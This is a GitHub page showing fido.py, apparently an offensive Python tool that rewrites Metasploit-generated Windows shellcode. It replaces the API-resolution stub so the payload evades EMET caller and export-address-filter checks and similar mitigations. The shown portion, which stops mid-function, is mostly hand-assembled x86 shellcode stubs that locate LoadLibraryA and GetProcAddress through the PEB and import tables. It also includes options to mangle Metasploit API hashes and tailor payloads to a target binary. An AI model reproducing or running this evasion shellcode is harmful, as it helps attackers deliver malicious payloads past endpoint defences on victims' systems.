-
Notifications
You must be signed in to change notification settings - Fork 60
/
fido.py
executable file
·2761 lines (2425 loc) · 170 KB
/
fido.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
'''
Copyright (c) 2017-2047, Joshua Pitts
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its contributors
may be used to endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
'''
from __future__ import print_function
from collections import OrderedDict
from capstone import *
from capstone.x86 import *
import struct
import pefile
import io
import sys
import re
import random
import string
import argparse
import binascii
import signal
import json
import os
import ntpath
'''
Notes:
- going to need to x64 Disassembling
- need to write the stubs (do this first, the rest is easy)
- Flow:
* look at inputted shellcode (is x86 or x64) based on Stephen Fewers hash api
* do what x86 code does, but for x64
'''
def signal_handler(signal, frame):
print('\nProgram Exit')
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
parser = argparse.ArgumentParser(description="""This code imports metasploit sourced x86 windows shellcode that employs
Stephen Fewers Hash API stub and replaces it to bypass EMET Caller/EAF checks
and other bolt on mitigations. Accepts msfvenom output from stdin or from disk.
Doesn't do logic checks on provided payload to ensure it is x86 (32bit) or for windows
OS (up to you to be correct)""",
usage='use "%(prog)s --help" for more information',
formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('infile', nargs='?', type=argparse.FileType('r'),
default=sys.stdin)
parser.add_argument("-b", "--targetbinary", default="", dest="targetbinary",
action="store",
help="Binary that shellcode will be customized to (Optional)"
)
parser.add_argument("-t", "--OSTarget", default="Win7", dest="OS",
action="store",
help="OS target for looking for target DLL Import Tables: winXP, win7, win8, winVista, win10")
parser.add_argument("-s", '--shellcode', default="", dest="code",
action="store",
help="x86 Win Shellcode with Stephen Fewers Hash API prepended (from msfvenom) can be from stdin")
parser.add_argument("-d", '--DLLName', default="", dest="dll", action="store",
help="If you know the DLL in the IAT you are targeting enter this, no need for OS flag.")
parser.add_argument("-l", '--Import', default='kernel32.dll', dest='importname', action='store',
help="""For use with -d and ExternGPA (-p), specify either 'kernel32.dll' or
'api-ms-win-core-libraryloader' -- you need to know with import you are targeting.
To know, run without -d for a list of candidates. Default is kernel32.dll but not always right!
""")
parser.add_argument('-m', '--mangle', default=False, dest="mangle",
action="store_true",
help="Mangle metasploit hash apis from their original values (you want to do this)")
parser.add_argument('outfile', nargs='?', type=argparse.FileType('w'),
default=sys.stdout,
)
parser.add_argument('-o', '--output', dest="OUTPUT", action="store", default='stdout',
help="How you would like your output: [c], [p]ython, c[s]harp Default: stdout."
)
parser.add_argument("-p", "--parser_stub", dest="parser_stub", action="store", default='GPA',
help="""By default this assumes that GetProcAddress (GPA) is in the targetbinary's
Import Address Table (IAT) if no targetbinary or DLL name is provided.
Seven options:
GPA - GPA is in targetbinary IAT (default)
LLAGPA - LoadlibraryA(LLA)/GPA is in the targetbinary IAT (smallest shellcode option)
ExternGPA -- need DLLName or targetbinary to use
ExternLLAGPA -- need DLLName or targetbinary to use
ExternGPAFC -- -d kernel32.dll -l kernelbase.dll # only works on win8 - win10
OffsetGPA -- -b target.EXE # static offset to that version of software (target EXE)
ExternOffsetGPA -- -b target.DLL -d import_dll # static offset to that version of software (target DLL)
"""
)
parser.add_argument('-n', '--donotfail', dest='dontfail', action='store_true', default=False,
help='Default: Fail if Stephen Fewers Hash API stub is not there, use -n to bypass')
parser.add_argument('-M', '--mode', default='', dest='mode', action='store',
help='ASM mode 32 or 64, usually automatic')
args = parser.parse_args()
if args.infile.buffer.seekable() is False:
# READ from stdin because content is there
args.code = args.infile.buffer.read()
if not args.code:
print('[!] -s is required either from cmd line flag or stdin <cat code.bin> | {0}'.format(sys.argv[0]))
parser.print_help()
sys.exit(-1)
class stubs_32:
def __init__(self, impts):
self.impts = impts
self.imp_offset = 0
def check_imports(self):
####################################
#### Parse imports via pefile ######
#make this option only if a IAT based shellcode is selected
pe = pefile.PE(self.impts.targetbinary, fast_load=True)
sys.stderr.write("[*] Parsing data directories...\n")
pe.parse_data_directories()
try:
for entry in pe.DIRECTORY_ENTRY_IMPORT:
for imp in entry.imports:
if imp.name is None:
continue
if imp.name.lower() == b'GetProcaddress'.lower():
self.imp_offset = imp.address - pe.OPTIONAL_HEADER.ImageBase
sys.stderr.write("[*] GPA offset: {0}\n".format(hex(self.imp_offset)))
# Easter egg???
#if imp.name.lower() == b'GetProcaddressforcaller'.lower():
# self.imp_offset = imp.address - pe.OPTIONAL_HEADER.ImageBase
# sys.stderr.write("[*] GPAFC offset: {0}\n".format(hex(self.imp_offset)))
except Exception as e:
sys.stderr.write("Exception: {0}\n".format(e))
def lla_gpa_parser_stub(self):
self.parser_stub = 'LLAGPA'
self.importname = 'main_module'
shellcode = bytes(
"\xfc"
"\x60" # pushad
"\x8B\xEC"
"\x31\xd2" # xor edx, edx ;prep edx for use
"\x64\x8b\x52\x30" # mov edx, dword ptr fs:[edx + 0x30] ;PEB
"\x8b\x52\x08" # mov edx, dword ptr [edx + 8] ;PEB.imagebase
"\x8b\xda" # mov ebx, edx ;Set ebx to imagebase
"\x03\x52\x3c" # add edx, dword ptr [edx + 0x3c] ;"PE"
"\x8b\xba\x80\x00\x00\x00" # mov edi, dword ptr [edx + 0x80] ;Import Table RVA
"\x03\xfb" # add edi, ebx ;Import table in memory offset
#findImport:
"\x8b\x57\x0c" # mov edx, dword ptr [edi + 0xc] ;Offset for Import Directory Table Name RVA
"\x03\xd3" # add edx, ebx ;Offset in memory
"\x81\x3a\x4b\x45\x52\x4e" # cmp dword ptr [edx], 0x4e52454b ;Replace this so any API can be called
"\x75\x09" # JE short
"\x81\x7A\x04\x45\x4C\x33\x32" # CMP DWORD PTR DS:[EDX+4],32334C45 ; el32
"\x74\x05" # je 0x102f ;jmp saveBase
"\x83\xc7\x14" # add edi, 0x14 ;inc to next import
"\xeb\xe5" # jmp 0x101d ;Jmp findImport
#saveBase:
"\x57" # push edi ;save addr of import base
"\xeb\x3e" # jmp 0x106e ;jmp loadAPIs
#setBounds:
#;this is needed as the parsing could lead to eax ptr's to unreadable addresses
"\x8b\x57\x10" # mov edx, dword ptr [edi + 0x10] ;Point to API name
"\x03\xd3" # add edx, ebx ;Adjust to in memory offset
"\x8b\x37" # mov esi, dword ptr [edi] ;Set ESI to the Named Import base
"\x03\xf3" # add esi, ebx ;Adjust to in memory offset
"\x8b\xca" # mov ecx, edx ;Mov in memory offset to ecx
"\x81\xc1\x00\x00\xff\x00" # add ecx, 0x40000 ;Set an upper bounds for reading
"\x33\xed" # xor ebp, ebp ;Zero ebp for thunk offset
#findAPI:
"\x8b\x06" # mov eax, dword ptr [esi] ;Mov pointer to Named Imports
"\x03\xc3" # add eax, ebx ;Find in memory offset
"\x83\xc0\x02" # add eax, 2 ;Adjust to ASCII name start
"\x3b\xc8" # cmp ecx, eax ;Check if over bounds
"\x72\x18" # jb 0x1066 ;If not over, don't jump to increment
"\x3b\xc2" # cmp eax, edx ;Check if under Named import
"\x72\x14" # jb 0x1066 ;If not over, don't jump to increment
"\x3e\x8b\x7c\x24\x04" # mov edi, dword ptr ds:[esp + 4] ;Move API name to edi
"\x39\x38" # cmp dword ptr [eax], edi ;Check first 4 chars
"\x75\x0b" # jne 0x1066 ;If not a match, jump to increment
"\x3e\x8b\x7c\x24\x08" # mov edi, dword ptr ds:[esp + 8] ;Move API 2nd named part to edi
"\x39\x78\x08" # cmp dword ptr [eax + 8], edi ;Check next 4 chars
"\x75\x01" # jne 0x1066 ;If not a match, jump to increment
"\xc3" # ret ;If a match, ret
#Increment:
"\x83\xc5\x04" # add ebp, 4 ;inc offset
"\x83\xc6\x04" # add esi, 4 ;inc to next name
"\xeb\xd5" # jmp 0x1043 ;jmp findAPI
#loadAPIs
"\x68\x61\x72\x79\x41" # push 0x41797261 ;aryA (notice the 4 char jump between beginning)
"\x68\x4c\x6f\x61\x64" # push 0x64616f4c ;Load
"\xe8\xb3\xff\xff\xff" # call 0x1032 ;call setBounds
"\x03\xd5" # add edx, ebp ;In memory offset of API thunk
"\x83\xc4\x08" # add ESP, 8 ;Move stack to import base addr
"\x5f" # pop edi ;restore import base addr for parsing
"\x52" # push edx ;save LoadLibraryA thunk address on stack
"\x68\x64\x64\x72\x65" # push 0x65726464 ;ddre
"\x68\x47\x65\x74\x50" # push 0x50746547 ;Getp
"\xe8\x9d\xff\xff\xff" # call 0x1032 ;call setBounds
"\x03\xd5" # add edx, ebp ;
"\x5d" # pop ebp ;
"\x5d" # pop ebp ;
"\x5b" # pop ebx ;Pop LoadlibraryA thunk addr into ebx
"\x8b\xea" # mov ebp, edx ;Move GetProcaddress thunk addr into ebx
, 'iso-8859-1')
# LLA in EBX
# GPA EBP
return shellcode
def gpa_parser_stub(self):
self.parser_stub = 'GPA'
self.importname = 'main_module'
shellcode = bytes( "\xfc"
"\x60" # pushad
"\x31\xd2" # xor edx, edx ;prep edx for use
"\x64\x8b\x52\x30" # mov edx, dword ptr fs:[edx + 0x30] ;PEB
"\x8b\x52\x08" # mov edx, dword ptr [edx + 8] ;PEB.imagebase
"\x8b\xda" # mov ebx, edx ;Set ebx to imagebase
#"\x8b\xc3" # mov eax, ebx ;Set eax to imagebase
"\x03\x52\x3c" # add edx, dword ptr [edx + 0x3c] ;"PE"
"\x8b\xba\x80\x00\x00\x00" # mov edi, dword ptr [edx + 0x80] ;Import Table RVA
"\x03\xfb" # add edi, ebx ;Import table in memory offset
#findImport:
"\x8b\x57\x0c" # mov edx, dword ptr [edi + 0xc] ;Offset for Import Directory Table Name RVA
"\x03\xd3" # add edx, ebx ;Offset in memory
"\x81\x3a\x4b\x45\x52\x4e" # cmp dword ptr [edx], 0x4e52454b ;Replace this so any API can be called
"\x75\x09" # JE short
"\x81\x7A\x04\x45\x4C\x33\x32" # CMP DWORD PTR DS:[EDX+4],32334C45 ; el32
"\x74\x05" # je 0x102f ;jmp saveBase
"\x83\xc7\x14" # add edi, 0x14 ;inc to next import
"\xeb\xe5" # jmp 0x101d ;Jmp findImport
#saveBase:
"\x57" # push edi ;save addr of import base
"\xeb\x3e" # jmp 0x106e ;jmp loadAPIs
#setBounds:
#;this is needed as the parsing could lead to eax ptr's to unreadable addresses
"\x8b\x57\x10" # mov edx, dword ptr [edi + 0x10] ;Point to API name
"\x03\xd3" # add edx, ebx ;Adjust to in memory offset
"\x8b\x37" # mov esi, dword ptr [edi] ;Set ESI to the Named Import base
"\x03\xf3" # add esi, ebx ;Adjust to in memory offset
"\x8b\xca" # mov ecx, edx ;Mov in memory offset to ecx
"\x81\xc1\x00\x00\xff\x00" # add ecx, 0x40000 ;Set an upper bounds for reading
"\x33\xed" # xor ebp, ebp ;Zero ebp for thunk offset
#findAPI:
"\x8b\x06" # mov eax, dword ptr [esi] ;Mov pointer to Named Imports
"\x03\xc3" # add eax, ebx ;Find in memory offset
"\x83\xc0\x02" # add eax, 2 ;Adjust to ASCII name start
"\x3b\xc8" # cmp ecx, eax ;Check if over bounds
"\x72\x18" # jb 0x1066 ;If not over, don't jump to increment
"\x3b\xc2" # cmp eax, edx ;Check if under Named import
"\x72\x14" # jb 0x1066 ;If not over, don't jump to increment
"\x3e\x8b\x7c\x24\x04" # mov edi, dword ptr ds:[esp + 4] ;Move API name to edi
"\x39\x38" # cmp dword ptr [eax], edi ;Check first 4 chars
"\x75\x0b" # jne 0x1066 ;If not a match, jump to increment
"\x3e\x8b\x7c\x24\x08" # mov edi, dword ptr ds:[esp + 8] ;Move API 2nd named part to edi
"\x39\x78\x08" # cmp dword ptr [eax + 8], edi ;Check next 4 chars
"\x75\x01" # jne 0x1066 ;If not a match, jump to increment
"\xc3" # ret ;If a match, ret
#Increment:
"\x83\xc5\x04" # add ebp, 4 ;inc offset
"\x83\xc6\x04" # add esi, 4 ;inc to next name
"\xeb\xd5" # jmp 0x1043 ;jmp findAPI
#loadAPIs
"\x68\x64\x64\x72\x65" # push 0x65726464 ;ddre
"\x68\x47\x65\x74\x50" # push 0x50746547 ;Getp
"\xe8\xb3\xff\xff\xff" # call 0x1032 ;call setBounds
"\x03\xd5" # add edx, ebp ;
"\x5d" # pop ebp ;
"\x5d" # pop ebp ;
"\x8b\xca" # mov ecx, edx ;Move GetProcaddress thunk addr into ecx
# GPA in ECX
"\x89\xCD" # mov ebp, ecx # mov GPA to ebp
"\x31\xd2" # xor edx,edx
"\x64\x8b\x52\x30" # mov edx,DWORD PTR fs:[edx+0x30]
"\x8b\x52\x0c" # mov edx,DWORD PTR [edx+0xc]
"\x8b\x52\x14" # mov edx,DWORD PTR [edx+0x14]
"\x8b\x72\x28" # mov esi,DWORD PTR [edx+0x28]
"\x6a\x18" # push 0x18
"\x59" # pop ecx
"\x31\xff" # xor edi,edi
"\x31\xc0" # xor eax,eax
"\xac" # lods al,BYTE PTR ds:[esi]
"\x3c\x61" # cmp al,0x61
"\x7c\x02" # jl 0x20
"\x2c\x20" # sub al,0x20
"\xc1\xcf\x0d" # ror edi,0xd
"\x01\xc7" # add edi,eax
"\xe2\xf0" # loop 0x17
"\x81\xff\x5b\xbc\x4a\x6a" # cmp edi,0x6a4abc5b
"\x8b\x5a\x10" # mov ebx,DWORD PTR [edx+0x10]
"\x8b\x12" # mov edx,DWORD PTR [edx]
"\x75\xdb" # jne 0xf
# kernel32.dll in ebx
"\x6A\x00" # push 0
"\x68\x61\x72\x79\x41" # push LoadLibraryA\x00
"\x68\x4c\x69\x62\x72"
"\x68\x4c\x6f\x61\x64"
"\x54" # push esp
"\x53" # push ebx (kernel32.dll handle)
"\x89\xE9" # mov ecx,ebp getprocaddr
"\xFF\x11" # call dword ptr [ecx] # call dword ptr [ecx]
"\x50" # push eax ; LLA in EAX
"\x89\xe3" # mov ebx, esp ; mov ptr to LLA in ebx
"\x58" # pop eax, to align stack
"\x58" # pop eax, to align stack
"\x58" # pop eax, to align stack
"\x58" # pop eax, to align stack
"\x58" # pop eax, to align stack
"\x58" # pop eax, to align stack
, 'iso-8859-1')
return shellcode
# LOADLIBA in EBX
# GETPROCADDR in EBP
def loaded_lla_gpa_parser_stub(self):
self.parser_stub = 'ExternLLAGPA'
shellcode1 = bytes( # Locate ADVAPI32 via PEB Ldr.InMemoryOrderModuleList ref:http://blog.harmonysecurity.com/2009_06_01_archive.html
"\xfc" # cld
"\x60" # pushad
"\x31\xd2" # xor edx,edx
"\x64\x8b\x52\x30" # mov edx,[fs:edx+0x30]
"\x8b\x52\x0c" # mov edx,[edx+0xc]
"\x8b\x52\x14" # mov edx,[edx+0x14]
# next_mod
"\x8b\x72\x28" # mov esi,[edx+0x28]
"\x6a\x18" # push byte +0x18
"\x59" # pop ecx
"\x31\xff" # xor edi,edi
# loop_modname
"\x31\xc0" # xor eax,eax
"\xac" # lodsb
"\x3c\x61" # cmp al,0x61
"\x7c\x02" # jl 0x20
"\x2c\x20" # sub al,0x20
# not_lowercase
"\xc1\xcf\x0d" # ror edi,byte 0xd
"\x01\xc7" # add edi,eax
"\xe2\xf0" # loop 0x17
, 'iso-8859-1')
shellcode2 = b"\x81\xff"
shellcode2 += struct.pack("<I", self.impts.DLL_INFO['hash'])
shellcode3 = bytes("\x8b\x5a\x10" # mov ebx,[edx+0x10]
"\x8b\x12" # mov edx,[edx]
"\x75\xdb" # jnz 0xf
# iatparser
"\x89\xda" # mov edx,ebx
"\x03\x52\x3c" # add edx,[edx+0x3c]
"\x8b\xba\x80\x00\x00\x00" # mov edi,[edx+0x80]
"\x01\xdf" # add edi,ebx
# findImport
"\x8b\x57\x0c" # mov edx, dword ptr [edi + 0xc] ;Offset for Import Directory Table Name RVA
"\x03\xd3" # add edx, ebx ;Offset in memory
, 'iso-8859-1')
if self.impts.DLL_INFO['importname'] == 'kernel32.dll':
shellcode3 += (
b"\x81\x3a\x4b\x45\x52\x4e" # cmp dword ptr [edx], 0x4e52454b ;Replace this so any API can be called
b"\x75\x09" # JE short
b"\x81\x7A\x04\x45\x4C\x33\x32" # CMP DWORD PTR DS:[EDX+4],32334C45 ; el32
b"\x74\x05" # je 0x102f ; jmp saveBase
b"\x83\xc7\x14" # add edi, 0x14 ; inc to next import
b"\xeb\xe5" # jmp 0x101d ; Jmp findImport
)
elif 'api-ms-win-core-libraryloader' in self.impts.DLL_INFO['importname'].lower():
shellcode3 += (
b"\x81\x7A\x13\x72\x61\x72\x79" # CMP DWORD PTR DS:[EDX+13],79726172 ; cmp rary
b"\x75\x09"
b"\x81\x7A\x22\x2d\x30\x2e\x64" # CMP DWORD PTR DS:[EDX+18],6564616F ; cmp -0.d
b"\x74\x05"
b"\x83\xc7\x14" # add edi, 0x14 ; inc to next import
b"\xeb\xe4" # jmp 0x101d ; Jmp findImport
)
else:
sys.stderr.write('[!] What did you just pass to location (-l)? {0}\n'.format(self.impts.importname))
sys.exit(-1)
shellcode3 += bytes(
# saveBase
"\x57" # push edi
"\xeb\x39" # jmp short 0x9f
# setbounds
"\x8b\x57\x10" # mov edx,[edi+0x10]
"\x01\xda" # add edx,ebx
"\x8b\x37" # mov esi,[edi]
"\x01\xde" # add esi,ebx
"\x89\xd1" # mov ecx,edx
"\x81\xc1\x00\x00\xff\x00" # add ecx,0xff0000
"\x31\xed" # xor ebp,ebp
# findApi
"\x8b\x06" # mov eax,[esi]
"\x01\xd8" # add eax,ebx
"\x83\xc0\x02" # add eax,byte +0x2
"\x39\xc1" # cmp ecx,eax
"\x72\x13" # jc 0x97
"\x8b\x7c\x24\x04" # mov edi,[esp+0x4]
"\x39\x38" # cmp [eax],edi
"\x75\x0b" # jnz 0x97
"\x3e\x8b\x7c\x24\x08" # mov edi,[ds:esp+0x8]
"\x39\x78\x08" # cmp [eax+0x8],edi
"\x75\x01" # jnz 0x97
"\xc3" # ret
# Increment
"\x83\xc5\x04" # add ebp,byte +0x4
"\x83\xc6\x04" # add esi,byte +0x4
"\xeb\xda" # jmp short 0x77
, 'iso-8859-1')
# loadApis
if self.impts.DLL_INFO['importname'].lower() == 'kernel32.dll':
shellcode3 += b"\x68\x61\x72\x79\x41" # push dword 0x41797261 ; raryA
elif 'api-ms-win-core-libraryloader' in self.impts.DLL_INFO['importname'].lower():
shellcode3 += b"\x68\x61\x72\x79\x45"
else:
sys.stderr.write('[!] What did you just pass to location (-l)? {0}\n'.format(self.importname))
sys.exit(-1)
shellcode3 += bytes(
"\x68\x4c\x6f\x61\x64" # push dword 0x64616f4c
"\xe8\xb8\xff\xff\xff" # call dword 0x62
"\x01\xea" # add edx,ebp
"\x83\xc4\x08" # add esp,byte +0x8
"\x5f" # pop edi
"\x52" # push edx
"\x68\x64\x64\x72\x65" # push dword 0x65726464
"\x68\x47\x65\x74\x50" # push dword 0x50746547
"\xe8\xA2\xff\xff\xff" # call dword 0x62
"\x01\xea" # add edx,ebp
"\x5d" # pop ebp
"\x5d" # pop ebp
"\x5b" # pop ebx
"\x8b\xea" # mov ebp,edx
, 'iso-8859-1')
# LOADLIBA in EBX
# GETPROCADDR in EBP
return shellcode1 + shellcode2 + shellcode3
def loaded_gpa_iat_parser_stub(self):
self.parser_stub = 'ExternGPA'
shellcode1 = bytes("\xfc" # cld
"\x60" # pushad
"\x31\xd2" # xor edx,edx
"\x64\x8b\x52\x30" # mov edx,[fs:edx+0x30] ; PEB
"\x8b\x52\x0c" # mov edx,[edx+0xc] ; PEB_LDR_DATA
"\x8b\x52\x14" # mov edx,[edx+0x14] ; ptr Flink Linked List in InMemoryOrderModuleList
# next_mod
"\x8b\x72\x28" # mov esi,[edx+0x28] ; Points to UTF-16 module name in LDR_MODULE
"\x6a\x18" # push byte +0x18 ; Set loop counter length
"\x59" # pop ecx ; Set loop counter length
"\x31\xff" # xor edi,edi ; clear edi to 0
# loop_modnam
"\x31\xc0" # xor eax,eax ; clear eax to 0
"\xac" # lodsb ; load last to esi
"\x3c\x61" # cmp al,0x61 ; check for capitalization
"\x7c\x02" # jl 0x20 ; if < 0x61 jump
"\x2c\x20" # sub al,0x20 ; capitalize the letter
# not_lowercase
"\xc1\xcf\x0d" # ror edi,byte 0xd ; rotate edi right 0xd bits
"\x01\xc7" # add edi,eax ; add sum to edi
"\xe2\xf0" # loop 0x17 ; continue until loop ends
, "iso-8859-1")
shellcode2 = b"\x81\xff" # cmp edi, DLL_HASH
shellcode2 += struct.pack("<I", self.impts.DLL_INFO['hash'])
shellcode3 = bytes("\x8b\x5a\x10" # mov ebx,[edx+0x10] ; move module handle addr to ebx
"\x8b\x12" # mov edx,[edx] ; set edx base for next module interation
"\x75\xdb" # jnz 0xf
# iatparser
"\x89\xda" # mov edx,ebx ; set as edx as image base
"\x03\x52\x3c" # add edx,[edx+0x3c] ; PE
"\x8b\xba\x80\x00\x00\x00" # mov edi,[edx+0x80] ; Import Table RVA
"\x01\xdf" # add edi,ebx
# findImport
"\x8b\x57\x0c" # mov edx, dword ptr [edi + 0xc] ;Offset for Import Directory Table Name RVA
"\x03\xd3" # add edx, ebx ;Offset in memory
, 'iso-8859-1')
if self.impts.DLL_INFO['importname'] == 'kernel32.dll':
shellcode3 += (
b"\x81\x3a\x4b\x45\x52\x4e" # cmp dword ptr [edx], 0x4e52454b ;Replace this so any API can be called
b"\x75\x09" # JE short
b"\x81\x7A\x04\x45\x4C\x33\x32" # CMP DWORD PTR DS:[EDX+4],32334C45 ; el32
b"\x74\x05" # je 0x102f ; jmp saveBase
b"\x83\xc7\x14" # add edi, 0x14 ; inc to next import
b"\xeb\xe5" # jmp 0x101d ; Jmp findImport
)
elif 'api-ms-win-core-libraryloader' in self.impts.DLL_INFO['importname'].lower():
shellcode3 += (
b"\x81\x7A\x13\x72\x61\x72\x79" # CMP DWORD PTR DS:[EDX+13],79726172 ; cmp rary
b"\x75\x09"
b"\x81\x7A\x22\x2d\x30\x2e\x64" # CMP DWORD PTR DS:[EDX+18],6564616F ; cmp -0.d
b"\x74\x05"
b"\x83\xc7\x14" # add edi, 0x14 ; inc to next import
b"\xeb\xe4" # jmp 0x101d ; Jmp findImport
)
else:
sys.stderr.write('[!] What did you just pass to location (-l)? {0}\n'.format(self.impts.importname))
sys.exit(-1)
shellcode3 += bytes(
# saveBase
"\x57" # push edi
"\xeb\x39" # jmp short 0x9f
# setbounds
"\x8b\x57\x10" # mov edx,[edi+0x10]
"\x01\xda" # add edx,ebx
"\x8b\x37" # mov esi,[edi]
"\x01\xde" # add esi,ebx
"\x89\xd1" # mov ecx,edx
"\x81\xc1\x00\x00\xff\x00" # add ecx,0xff0000
"\x31\xed" # xor ebp,ebp
# findApi
"\x8b\x06" # mov eax,[esi]
"\x01\xd8" # add eax,ebx
"\x83\xc0\x02" # add eax,byte +0x2
"\x39\xc1" # cmp ecx,eax
"\x72\x13" # jc 0x97
"\x8b\x7c\x24\x04" # mov edi,[esp+0x4]
"\x39\x38" # cmp [eax],edi
"\x75\x0b" # jnz 0x97
"\x3e\x8b\x7c\x24\x08" # mov edi,[ds:esp+0x8]
"\x39\x78\x08" # cmp [eax+0x8],edi
"\x75\x01" # jnz 0x97
"\xc3" # ret
# Increment
"\x83\xc5\x04" # add ebp,byte +0x4
"\x83\xc6\x04" # add esi,byte +0x4
"\xeb\xda" # jmp short 0x77
# loadApis
"\x68\x64\x64\x72\x65" # push 0x65726464 ;ddre
"\x68\x47\x65\x74\x50" # push 0x50746547 ;Getp
"\xe8\xb8\xff\xff\xff" # call 0x1032 å ;call setBounds
"\x03\xd5" # add edx, ebp ;
"\x5d" # pop ebp ;
"\x5d" # pop ebp ;
"\x8b\xca" # mov ecx, edx ;Move GetProcaddress thunk addr into ecx
, 'iso-8859-1')
#GPA in ECX
shellcode3 += b"\x89\xCD" # mov ebp, ecx GPA in EBP
shellcode3 += bytes("\x31\xd2" # xor edx,edx
"\x64\x8b\x52\x30" # mov edx,DWORD PTR fs:[edx+0x30]
"\x8b\x52\x0c" # mov edx,DWORD PTR [edx+0xc]
"\x8b\x52\x14" # mov edx,DWORD PTR [edx+0x14]
"\x8b\x72\x28" # mov esi,DWORD PTR [edx+0x28]
"\x6a\x18" # push 0x18
"\x59" # pop ecx
"\x31\xff" # xor edi,edi
"\x31\xc0" # xor eax,eax
"\xac" # lods al,BYTE PTR ds:[esi]
"\x3c\x61" # cmp al,0x61
"\x7c\x02" # jl 0x20
"\x2c\x20" # sub al,0x20
"\xc1\xcf\x0d" # ror edi,0xd
"\x01\xc7" # add edi,eax
"\xe2\xf0" # loop 0x17
"\x81\xff\x5b\xbc\x4a\x6a" # cmp edi,0x6a4abc5b
"\x8b\x5a\x10" # mov ebx,DWORD PTR [edx+0x10]
